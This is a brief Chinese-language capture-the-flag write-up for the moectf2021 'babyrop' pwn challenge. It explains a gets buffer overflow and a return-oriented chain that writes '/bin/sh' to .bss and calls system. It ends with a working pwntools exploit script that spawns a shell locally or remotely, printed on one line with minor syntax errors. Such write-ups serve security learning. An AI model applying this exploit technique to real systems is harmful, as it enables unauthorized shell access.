moectf2021新生赛>>pwn>>babyrop
题目名:babyrop
WriteUp:
首先checksec
IDA分析
找到gets漏洞点,system的plt,产生利用rop构造参数来getshell的思路,但是无法直接从二进制文件中直接找到。
这里想到2个办法1是ret2libc,暂且先不提,2是利用gets函数往.bss段内存写入参数"/bin/sh",来制造参数
常规方法利用工具ROPgadgets构建ROPchain,但是这里可以直接利用栈结构来一步到位getshell
得出exp,如下:
from pwn import * context.log_level = ‘debug‘ mode = 1 ip = ‘‘ port = ‘‘ binsh_offset = 0x17e0af gets_plt = 0x08048380 libcmain_addr = 0x804A018 bss_addr = 0x804A028 system_plt = 0x80483A0 payload = ‘a‘ * 0x2c + p32(gets_plt) + p32(system_plt) + p32(bss_addr) + p32(bss_addr) if mode == 1 p = process("./babyrop") #gdb.attach(p,"b *0x08048380") else: p = remote(ip,port) p.sendlineafter("advise?",payload) p.send("/bin/sh\n") p.interactive()